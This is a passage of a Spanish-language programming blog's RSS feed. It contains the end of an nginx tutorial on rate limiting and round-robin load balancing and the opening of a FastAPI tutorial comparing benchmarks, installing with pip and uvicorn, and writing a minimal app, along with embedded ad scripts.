style=&#34;display:flex;&#34;&gt;&lt;span&gt;limit_req_zone &lt;span style=&#34;color:#ff5c57&#34;&gt;$binary_remote_addr&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;zone&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;mylimit:10m &lt;span style=&#34;color:#ff5c57&#34;&gt;rate&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;5r/s;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    location /api/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        limit_req &lt;span style=&#34;color:#ff5c57&#34;&gt;zone&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;mylimit &lt;span style=&#34;color:#ff5c57&#34;&gt;burst&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;20&lt;/span&gt; nodelay;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        proxy_pass http://my_upstream;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;usa-el-load-balancer-de-nginx&#34;&gt;Usa el load balancer de nginx&lt;/h2&gt;&#xA;&lt;p&gt;Nginx cuenta con un load balancer que te permite distribuir la carga de tu servidor entre diferentes endpoints. El mecanismo más sencillo usará el método round robin, lo que te permitirá manejar mayor cantidad de peticiones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;upstream frontend &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server 127.0.0.1:3000;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server 127.0.0.1:3001;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    server 127.0.0.1:3002;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;// ...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;location / &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    proxy_pass http://frontend&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el ejemplo anterior, la primera petición se pasará al puerto 3000, la segunda al puerto 3001 y la tercera al puerto 3002, la cuarta volverá al puerto 3000 y así sucesivamente.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hace algunos meses estaba revisando los valores de Lighthouse para un sitio web cuando me di cuenta de que no cumplia con ciertas recomendaciones, usaba http/1.1, no contaba con compresión gzip, ni cache. Más tarde arreglé los problemas, te cuento como a continuación. En esta entrada te platico sobre las siguientes características de nginx: keepalive, gzip, cache y http2 y como puedes modificarlas para mejorar tus valores de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://web.dev/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Lighthouse&lt;/a&gt;&#xA;, también considera que &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;no debes obsesionarte con el rendimiento de tu aplicación&lt;/a&gt;&#xA; hasta que sea el momento adecuado de hacerlo.&lt;/p&gt;</summary>
    </item>
    
    
    <item>
      <title>Tutorial de FastAPI, ¿el mejor framework de Python?</title>
      <link>https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/</link>
      <pubDate>Tue, 27 Oct 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/docker/python-fastapi-el-mejor-framework-de-python/</guid>
      
      <category>docker</category>
      
      <category>fastapi</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Estos últimos días he estado probando una librería para Python que se está volviendo muy popular, FastAPI, un framework para crear APIs, tales como las &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;REST APIs&lt;/a&gt;&#xA; o las APIs RPC, de manera sencilla, con muy poco código y con un rendimiento extraordinario, para soportar sitios web de alta concurrencia.&lt;/p&gt;&#xA;&lt;h2 id=&#34;fastapi-vs-django-vs-flask-vs-pyramid&#34;&gt;FastAPI vs Django vs Flask vs Pyramid&lt;/h2&gt;&#xA;&lt;p&gt;¿De verdad FastAPI es tan rápido? Sí, al menos así lo afirma la evidencia. FastAPI queda en primer lugar en respuestas por segundo frente a Frameworks más populares como Django, Pyramid o Flask. Y, por si te pareciera poco, también queda en los primeros lugares si lo comparamos con Frameworks de otros lenguajes de programación, como PHP o Javascript.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fastapi-vs-django&#34;&gt;FastAPI vs Django&lt;/h3&gt;&#xA;&lt;p&gt;FastAPI se centra en crear APIs de manera sencilla y muy eficiente, Django puede hacer lo mismo usando su librería de DRF y su ORM, pero yo no considero que sean competidores directos. ¿Por qué? Pues porque Django se centra en ser más una solución integral, que cubre desde un sistema de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/login-con-django-rest-framework-drf/&#34;&gt;sesiones y autenticación&lt;/a&gt;&#xA;, ORM, renderizado de plantillas, creación y manejo de formularios, middleware, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/cache-en-django-rest-framework-con-memcached/&#34;&gt;sistema de caché&lt;/a&gt;&#xA;, su &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/the-django-admin-panel-and-its-customization/&#34;&gt;panel de admin incluido&lt;/a&gt;&#xA;, i18n y muchos otros aspectos.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, FastAPI le deja el camino libre al desarrollador, por lo que, al cubrir necesidades diferentes, la comparación no aplica.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fastapi-vs-flask&#34;&gt;FastAPI vs Flask&lt;/h3&gt;&#xA;&lt;p&gt;A diferencia de Django, sí considero a Flask como un competidor más directo de FastAPI. Ambos frameworks guardan cierta similitud en cuanto a sintaxis y se caracterizan por ser bastante ligeros y ofrecer la mínima funcionalidad. FastAPI ofrece validación, mientras que Flask no, FastAPI ofrece documentación automática, mientras que Flask no. Además FastAPI ofrece un mejor rendimiento según las pruebas disponibles.&lt;/p&gt;&#xA;&lt;p&gt;Mira las siguientes comparaciones que usan información de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.techempower.com/benchmarks&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Techempower&lt;/a&gt;&#xA;. He resaltado en azul los frameworks de Python.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rendimiento-para-peticiones-con-una-query&#34;&gt;Rendimiento para peticiones con una query&lt;/h3&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Te ahorraré algo de tiempo. Me costó mucho aprender las bases de Kubernetes, después de ver múltiples videotutoriales (gratuitos y de paga) y leer algunos blogs sobre el tema, encontré este libro, me dio lo que otros recursos no pudieron así que me siento bastante cómodo recomendándolo. ¡Échale un vistazo!\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Kubernetes up and running\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/kubernetes-up-and-running.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4k0MDga\&#34;,\&#34;linkText\&#34;:\&#34;Consulte el libro Kubernetes up and running en Amazon\&#34;,\&#34;title\&#34;:\&#34;Cual es el mejor recurso para aprender Kubernetes\&#34;},{\&#34;description\&#34;:\&#34;La mayoría de las APIs que existen están horriblemente diseñadas, ¿cuánto debo anidar subcategorías en una API? ¿qué es HATEOAS? ¿qué formato es mejor /api/, poner la versión de la api en un subdominio o poner la versión de la api en una cabecera? Estas decisiones se suelen tomar sin motivo alguno por algunos ingenieros, no seas uno de ellos. Este libro trata todas estas preguntas difíciles con más detalle y te enseña a diseñar buenas APIs, échale un vistazo.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Build APIs You Won&#39;t Hate\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/build-apis-you-wont-hate.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41qJOhp\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Build APIs You Won&#39;t Hate y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Cómo diseñar APIs de calidad\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El número indica la cantidad de respuestas por segundo para un single query, por supuesto que mientras más alto mejor.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/SingleQueryFastApi.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/SingleQueryFastApi.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Gráfico de comparación de número de respuestas por segundo para petición que devuelve una fila de la base de datos. FastAPI en segundo lugar.&#34; width=&#34;1275&#34; height=&#34;766&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Número de respuestas por segundo para peticiones que devuelven una fila de la base de datos. Información tomada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.techempower.com/benchmarks&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.techempower.com/benchmarks&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;rendimiento-para-peticiones-con-20-queries&#34;&gt;Rendimiento para peticiones con 20 queries&lt;/h3&gt;&#xA;&lt;p&gt;Pero, ¿y para peticiones con mayor carga? En esta imagen se muestran la cantidad de respuestas para una petición con 20 queries, nuevamente, mientras más alto mejor.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/MultipleQueryFastApi.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/images/MultipleQueryFastApi.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Comparación de número de respuestas por segundo para petición que devuelve veinte filas de la base de datos. FastAPI en segundo lugar.&#34; width=&#34;1275&#34; height=&#34;766&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Número de respuestas por segundo para peticiones que devuelven veinte filas de la base de datos. Información tomada de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.techempower.com/benchmarks&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.techempower.com/benchmarks&lt;/a&gt;&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Según la información que nos proporciona Techempower, &lt;strong&gt;FastAPI es tremendamente más rápida que Django, Flask y Pyramid.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pero ¿qué tal su compatibilidad con las nuevas versiones de Python?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;tipado-y-asincronismo-en-python&#34;&gt;Tipado y asincrónismo en Python&lt;/h2&gt;&#xA;&lt;p&gt;FastAPI es totalmente compatible con el tipado y el asincrónismo de las últimas versiones de Python.&lt;/p&gt;&#xA;&lt;p&gt;Con la intención de mantener este tutorial lo más sencillo posible voy a usarlas &lt;strong&gt;únicamente donde sea necesario&lt;/strong&gt;, si no es estrictamente necesario incluirlas voy a omitirlas. Menciono lo anterior para que tomes en cuenta que cada fragmento de código donde se use FastAPI puede incorporar asincronismo y tipado, según consideres necesario.&lt;/p&gt;&#xA;&lt;p&gt;Ahora que ya viste porque vale la pena usarlo, ¿por qué no probarlo?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalacion-de-fastapi&#34;&gt;Instalación de FastAPI&lt;/h2&gt;&#xA;&lt;p&gt;Para instalarlo vamos a crear un entorno virtual con pip, pipenv, poetry o cualquier otra herramienta de gestión de entornos virtuales que prefieras.&lt;/p&gt;&#xA;&lt;p&gt;Además de FastAPI necesitaremos uvicorn; un servidor ASGI, el cual usaremos para servir nuestra API.&lt;/p&gt;&#xA;&lt;p&gt;Estoy usando fastapi === 0.111.0, pero FastAPI se ha mantenido bastante estable en el tiempo, por lo que probablemente no tendrás problemas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install fastapi uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A continuación vamos a crear un archivo llamado &lt;em&gt;main.py&lt;/em&gt;, aquí estará todo el código que usaremos para crear nuestra API.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch main.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y ahora vamos a colocar el código mínimo para tener un servidor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo primero será importar la librería, después crearemos una instancia de FastAPI. A continuación escribiremos una función que devuelva un diccionario y usaremos un decorador con la ruta que queremos que capture nuestra aplicación. Es todo.&lt;/p&gt;&#xA;&lt;p&gt;Uvicorn se encargará de servir la API que acabamos de crear por medio del siguiente comando:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uvicorn main:app --reload&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Analicemos brevemente lo que acabamos de 